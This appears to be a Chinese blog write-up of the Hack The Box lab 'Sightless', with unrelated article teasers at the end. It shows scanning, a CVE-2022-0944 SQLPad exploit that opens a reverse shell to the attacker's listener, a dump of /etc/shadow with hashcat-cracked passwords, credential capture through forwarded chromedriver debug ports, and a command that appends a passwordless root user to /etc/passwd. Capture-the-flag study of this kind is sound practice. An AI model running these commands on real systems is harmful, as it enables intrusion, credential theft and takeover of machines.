HTB:Sightless[WriteUP]
目录
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描
首先尝试对靶机FTP服务进行匿名登录
使用curl访问靶机80端口
使用浏览器可以直接访问该域名
使用浏览器直接访问该子域
Getshell
横向移动
查看用户密码
使用hashid判断哈希值类型
特权提升
USER_FLAG:fe4ebd430e1070f00793fce61187ebb1
查看靶机系统网络连接
直接用浏览器访问本地8080端口页面
使用上述凭证登录到Froxlor面板中
ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33
连接至HTB服务器并启动靶机
靶机IP:10.10.11.32
分配IP:10.10.14.12
使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 06:07 EST
Warning: 10.10.11.32 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.32 (10.10.11.32)
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 44.72 seconds
继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描
nmap -p 21,22,80 -sCV 10.10.11.32

首先尝试对靶机FTP服务进行匿名登录
ftp 10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.11.32
Connected to 10.10.11.32.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
Name (10.10.11.32:kali): anonymous
550 SSL/TLS required on the control channel
ftp: Login failed
ftp> exit
221 Goodbye.
使用curl访问靶机80端口
curl -I http://10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.32
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Nov 2024 10:58:54 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://sightless.htb/
将靶机IP与该域名进行绑定
echo '10.10.11.32 sightless.htb' >> /etc/hosts
使用浏览器可以直接访问该域名

先对该域名进行一遍简单的子域名搜索
ffuf -u http://sightless.htb/ -H 'Host: FUZZ.sightless.htb' -w ../dictionary/subdomains-top5000.txt -fc 302

再对它进行敏感文件和路径FUZZ
ffuf -u http://sightless.htb/FUZZ -w ../dictionary/Half-Dir.txt -e .bak,.txt,.php,.py,.sh -t 200

这里也是没扫出什么东西来,只能从网页本身的交互点测试
在SQLPad这一栏中,点击Start Now会跳转至:sqlpad.sightless.htb

将该子域与靶机IP进行绑定
echo '10.10.11.32 sqlpad.sightless.htb' >> /etc/hosts
使用浏览器直接访问该子域
显然,这里就是我们找的突破口

我尝试直接在Github上搜索该应用的漏洞

不知道靶机该SQLPad是否存在该漏洞:CVE-2022-0944,但不影响我尝试一下
Getshell
本地侧nc开始监听
nc -lvnp 1425
直接利用该EXP尝试getshell
python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.
本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.32] 35302
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root
我没看错吧?直接就是root权限了?尝试查找root_flag的位置
find / -name 'root.txt'
root@c184118df0a6:/var/lib/sqlpad# find / -name 'root.txt'
find / -name 'root.txt'
find: '/sys/devices/virtual/powercap/dtpm': Permission denied
提示没有权限,果然是不出我所料甚至连user_flag都没有权限查看
横向移动
查看根目录
ls /
root@c184118df0a6:/var/lib/sqlpad# ls /
ls /
bin
boot
dev
docker-entrypoint
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
可见目录docker-entrypoint所以我们应该是在docker环境中
查看系统内的用户
cat /etc/passwd
允许登录交互的用户有:root、node、michael

查看用户密码
cat /etc/shadow
root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
这里重点是michael用户的密码,但也先暂时也记一下root用户哈希密码没准后续能用上
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/
将两条哈希值保存到文件中,便于爆破
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' > michael
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.' > root
使用hashid判断哈希值类型
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < michael
Analyzing '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/'
[+] SHA-512 Crypt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < root
Analyzing '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.'
[+] SHA-512 Crypt
通过man命令查询SHA-512在hashcat中的参数

直接开始爆破居然提示没有加载到hash
hashcat -m 1700 michael ../dictionary/rockyou.txt

这种情况多数是因为哈希类型选错了,这次我们试一下1800

这次成功爆破出了密码
hashcat -m 1800 michael ../dictionary/rockyou.txt

账户:michael
密码:insaneclownposse
接下来,我用弱口令字典跑了ROOT用户的哈希值差不多三分钟

账户:root
密码:blindside
用这个密码直接去登录SSH服务显然是不行的
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh root@10.10.11.32
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
root@10.10.11.32: Permission denied (publickey,password).
特权提升
使用michael用户凭证,通过SSH服务登录靶机
ssh michael@10.10.11.32
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Sat Nov 9 12:08:37 2024 from 10.10.14.18
michael@sightless:~$ whoami
michael
查找user_flag位置并查看其内容
michael@sightless:~$ find / -name 'user.txt' 2>/dev/null
/home/michael/user.txt
michael@sightless:~$ cat /home/michael/user.txt
fe4ebd430e1070f00793fce61187ebb1
USER_FLAG:fe4ebd430e1070f00793fce61187ebb1
查看靶机系统网络连接
ss -tlnp

尝试通过SSH服务将靶机8080端口映射到本地
ssh -N michael@10.10.11.32 -L 8080:localhost:8080
直接用浏览器访问本地8080端口页面

此时观察靶机系统进程可见,john用户在不断的运行Chrome自动化调试程序(chromedriver)
ps -aux | tee | grep john

我们将这个调试程序占用的端口映射到本地
ssh -N michael@10.10.11.32 -L 59025:localhost:59025
再次查看靶机网络连接

因为不知道该程序还用了哪些端口进行调试,所以我们多转发几个可疑端口
ssh -N michael@10.10.11.32 -L 41829:localhost:41829
ssh -N michael@10.10.11.32 -L 36607:localhost:36607
打开Chrome浏览器,地址栏输入:chrome://inspect/#devices。进入调试配置界面

点击Configure配置好转发端口,这里最好用127.0.0.1不要用localhost

接着就能收到一堆目标向:http://admin.sightless.htb:8080/index.php的调试
接着点击inspect即可进入调试界面
依此点击:Network->index.php->Payload。即可获取登录密码

账户:admin
密码:ForlorfroxAdmin
使用上述凭证登录到Froxlor面板中

在翻找了一顿后,找到了这个东东:PHP-FPM

PHP - FPM是一种基于FastCGI协议的PHP进程管理器,它负责启动、管理PHP进程,根据服务器负载动态调整进程数量,接收Web服务器的PHP请求,有效处理并返回结果,能提高性能、优化内存管理、增强系统稳定性且具有配置灵活性。
这个位置似乎允许我们执行命令

我尝试往/etc/passwd加入一个无密码管理员用户
首先在靶机/tmp目录下新建一个脚本,内容如下
echo "echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd" > test.sh

再将restart command修改为:/bin/bash /tmp/test.sh

过一会再查看/etc/passwd文件,会发现无密码管理员用户已经被成功添加
cat /etc/passwd

切换到0dayhp用户
su 0dayhp
michael@sightless:/tmp$ su 0dayhp
root@sightless:/tmp# whoami
root
查找root_flag位置并查看其内容
root@sightless:/tmp# find / -name 'root.txt'
/root/root.txt
find: ‘/proc/1647/task/1647/net’: Invalid argument
find: ‘/proc/1647/net’: Invalid argument
root@sightless:/tmp# cat /root/root.txt
d24b4ff4e9f46a64036377b1a5cd5d33
ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33
相关文章:
HTB:Sightless[WriteUP]
目录 连接至HTB服务器并启动靶机 使用nmap对靶机TCP端口进行开放扫描 继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描 首先尝试对靶机FTP服务进行匿名登录 使用curl访问靶机80端口 使用浏览器可以直接访问该域名 使用浏览器直接访问该子域 Getshell 横向移动 查…...
国产化浪潮下,高科技企业如何选择合适的国产ftp软件方案?
高科技企业在数字化转型和创新发展中,数据资产扮演着越来越重要的角色。在研发过程中产生的实验数据、设计文档、测试结果等,专利、商标、版权之类的创新成果等,随着信息量急剧增加和安全威胁的复杂化,传统的FTP软件已经不能满足这…...
自注意力机制
当输入一系列向量,想要考虑其中一个向量与其他向量之间的关系,决定这个向量最后的输出 任意两个向量之间的关系计算 计算其他向量对a1的关联性 多头注意力机制 图像也可以看成一系列的向量,交给自注意力机制处理,CNN是特殊的自注意…...
抽象工厂模式详解
1. 引言 1.1 设计模式概述 设计模式(Design Patterns)是软件开发中解决常见问题的一种最佳实践。它们通过总结经验,提供了一套被验证有效的代码结构和设计原则,帮助开发者提高代码的可维护性、可重用性和可扩展性。 设计模式主…...
【Linux】软硬链接和动静态库
🔥 个人主页:大耳朵土土垚 🔥 所属专栏:Linux系统编程 这里将会不定期更新有关Linux的内容,欢迎大家点赞,收藏,评论🥳🥳🎉🎉🎉 文章目…...
HarmonyOS入门 : 获取网络数据,并渲染到界面上
1. 环境搭建 开发HarmonyOS需要安装DevEco Studio,下载地址 : https://developer.huawei.com/consumer/cn/deveco-studio/ 2. 如何入门 入门HarmonyOS我们可以从一个实际的小例子入手,比如获取网络数据,并将其渲染到界面上。 本文就是基于…...
【贪心】【哈希】个人练习-Leetcode-1296. Divide Array in Sets of K Consecutive Numbers
题目链接:https://leetcode.cn/problems/divide-array-in-sets-of-k-consecutive-numbers/description/ 题目大意:给出一个数组nums[]和一个数k,求nums[]能否被分成若干个k个元素的连续的子列。 思路:比较简单,贪心就…...
【数据库实验一】数据库及数据库中表的建立实验
目录 实验1 学习RDBMS的使用和创建数据库 一、 实验目的 二、实验内容 三、实验环境 四、实验前准备 五、实验步骤 六、实验结果 七、评价分析及心得体会 实验2 定义表和数据库完整性 一、 实验目的 二、实验内容 三、实验环境 四、实验前准备 五、实验步骤 六…...
Web服务nginx基本实验
安装软件: 启动服务: 查看Nginx服务器的网络连接信息,监听的端口: 查看默认目录: 用Windows访问服务端192.168.234.111的nginx服务:(防火墙没有放行nginx服务,访问不了) …...
Ubuntu实现双击图标运行自己的应用软件
我们知道在Ubuntu上编写程序,最后编译得到的是一个可执行文件,大致如下 然后要运行的时候在终端里输入./hello即可 但是这样的话感觉很丑很不方便,下边描述一种可以类似Windows上那种双击运行的实现方式。 我们知道Ubuntu是有一些自带的程序…...
js id字符串转数组
将一个逗号分隔的字符串(例如 "12,123,213,")转换为一个 JavaScript 数组,并去除多余的逗号,可以使用以下几种方法。这里我将展示几种常见的方式: 方法 1: 使用 split 和 filter 你可以使用 split 方法将字…...
《手写Spring渐进式源码实践》实践笔记(第十八章 JDBC功能整合)
文章目录 第十八章 JDBC功能整合背景技术背景JDBC JdbcTemplate关键特性 用法示例业务背景 目标设计实现代码结构类图实现步骤 测试事先准备属性配置文件测试用例测试结果: 总结 第十八章 JDBC功能整合 背景 技术背景 JDBC JDBC(Java Database Conne…...
边缘计算在智能交通系统中的应用
💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 边缘计算在智能交通系统中的应用 边缘计算在智能交通系统中的应用 边缘计算在智能交通系统中的应用 引言 边缘计算概述 定义与原…...
HTML5+css3(浮动,浮动的相关属性,float,解决浮动的塌陷问题,clear,overflow,给父亲盒子加高度,伪元素)
浮动的相关属性 以下使浮动的常用属性值: float: 设置浮动 以下属性: left : 设置左浮动 right : 设置右浮动 none :不浮动,默认值clear 清除浮动 清除前面兄弟元素浮动元素的响应 以下属性: left &…...
【C++ 滑动窗口】2134. 最少交换次数来组合所有的 1 II
本文涉及的基础知识点 C算法:滑动窗口及双指针总结 LeetCode2134. 最少交换次数来组合所有的 1 II 交换 定义为选中一个数组中的两个 互不相同 的位置并交换二者的值。 环形 数组是一个数组,可以认为 第一个 元素和 最后一个 元素 相邻 。 给你一个 二…...
使用 PyTorch 实现并测试 AlexNet 模型,并使用 TensorRT 进行推理加速
本篇文章详细介绍了如何使用 PyTorch 实现经典卷积神经网络 AlexNet,并利用 Fashion-MNIST 数据集进行训练与测试。在训练完成后,通过 TensorRT 进行推理加速,以提升模型的推理效率。 本文全部代码链接:全部代码下载 环境配置 为了保证代码在 GPU 环境下顺利运行,我们将…...
Python 数据可视化详解教程
Python 数据可视化详解教程 数据可视化是数据分析中不可或缺的一部分,它通过图形化的方式展示数据,帮助我们更直观地理解和分析数据。Python 作为一种强大的编程语言,拥有丰富的数据可视化库,如 Matplotlib、Seaborn、Plotly 和 …...
springboot集成opencv开源计算机视觉库
最近项目需要用到opencv,网上看到很多资料都是下载安装并且引入jar包与dll文件,感觉很麻烦,不是我想要的,于是花时间折腾了下,不需要任何安装与引入jar包与dll文件,简单方便,快速上手。 先说说…...
CCF ChinaOSC |「开源科学计算与系统建模openSCS专题分论坛」11月9日与您相约深圳
2024年11月9日至10日,以“湾区聚力 开源启智”为主题的2024年中国计算机学会中国开源大会(CCF ChinaOSC)将在深圳召开。大会将汇聚国内外学术界、顶尖科技企业、科研机构及开源社区的精英力量,共同探索人工智能技术和人类智慧的无…...
2024年11月8日上海帆软用户大会
2024年11月8日上海帆软用户大会 2024年11月8日,上海成功举办了帆软用户大会,主题为“数字聚力,绽放新机”。大会汇聚了众多行业专家和企业代表,共同探讨数字化转型和商业智能领域的最新趋势和实践。 大会亮点: 专家…...
树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频
使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
Java-41 深入浅出 Spring - 声明式事务的支持 事务配置 XML模式 XML+注解模式
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
HTML前端开发:JavaScript 常用事件详解
作为前端开发的核心,JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例: 1. onclick - 点击事件 当元素被单击时触发(左键点击) button.onclick function() {alert("按钮被点击了!&…...
多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
